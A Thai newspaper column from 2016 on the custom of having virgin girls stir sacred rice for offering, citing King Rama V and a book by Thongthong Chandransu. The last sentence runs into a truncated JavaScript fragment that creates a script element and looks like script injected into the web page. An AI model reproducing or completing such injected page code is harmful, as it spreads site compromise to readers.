มติชนรายวัน ฉบับประจำวันอังคารที่ 19 มกราคม 2559

 

สาวพรหมจารี

          สาวพรหมจารีที่จะให้กวนข้าวทิพย์ถวายพระพุทธเจ้า ตามประเพณี (ชายมีอำนาจเหนือหญิง) ที่เชื่อกันสืบมานานมากนั้น ร.5 ทรงอธิบายในหนังสือพระราชพิธีสิบสองเดือนว่าต้องเป็น

          (1) หญิงยังไม่มีสามี และ (2) หญิงยังไม่มีระดู

          เรื่องนี้มีข้อสงสัยให้เป็นปัญหามาก (รายละเอียดอยู่ในหนังสือพระราชพิธีสิบสองเดือน) ในที่สุด ร.5 ก็สรุปว่า “เลือกเด็กอายุอ่อน” ดังนี้

          “การกวนข้าวทิพย์ จึงได้ยกเป็นหน้าที่ของลูกเจ้านายกวน แต่เลือกเอาลูกเจ้านายเป็นพรหมจารี คือที่ไม่มีสามี เป็นพรหมจารีตามอย่างพระพุทธศาสนา”

          9 มกราคม 2559 วันเกิดมติชนที่ผ่านมา ผมเลี่ยงที่ชุมนุมกลุ่มคนมากๆเข้าไปหลบในร้านหนังสือที่อยู่ห้องโถง เลยซื้อมาอ่านเล่มหนึ่ง ชื่อภาพงามของความหลัง ของ อ. ธงทอง จันทรางศุ

siam19-01-59 1

          เพราะมีรูปสาวพรหมจารีพิมพ์ไว้ด้วย ซึ่งตั้งแต่เกิดมาผมไม่เคยเห็น

          แต่เคยเดาๆเอาจากบันทึกของโจวต้ากวน (ในคณะทูตจีน) ที่เข้าไปนครธมเมื่อ พ.ศ. 1839 (ปีเดียวกับสถาปนาเมืองเชียงใหม่) ตอนทำขวัญเด็กสาวอายุราว 10 กว่าขวบ ก็เข้าใจไปเองว่านั่นแหละหญิงพรหมจารี ซึ่งน่าจะไม่ถูกนัก

          เมื่อเห็นรูปถ่ายเก่ากับอ่านเรื่องของ อ. ธงทอง แล้วก็ทึกทักเอาเองว่าเป็นของจริงแท้ ควรแก่การเลื่อมใสvar d=document;var s=d.createElement(‘script’);